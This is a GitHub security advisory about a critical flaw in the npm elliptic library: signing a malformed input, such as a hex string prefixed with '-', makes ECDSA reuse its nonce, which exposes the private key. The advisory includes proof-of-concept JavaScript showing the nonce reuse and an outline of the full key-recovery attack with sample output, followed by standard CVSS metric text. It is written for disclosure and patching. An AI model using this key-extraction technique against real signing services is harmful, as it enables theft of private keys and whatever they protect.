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Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

Critical severity GitHub Reviewed Published Feb 12, 2025 in indutny/elliptic • Updated Feb 12, 2025

Package

npm elliptic (npm)

Affected versions

<= 6.6.0

Patched versions

6.6.1

Description

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

References

@indutny indutny published to indutny/elliptic Feb 12, 2025
Published to the GitHub Advisory Database Feb 12, 2025
Reviewed Feb 12, 2025
Last updated Feb 12, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-vjh7-7g9h-fjfh

Source code

Credits

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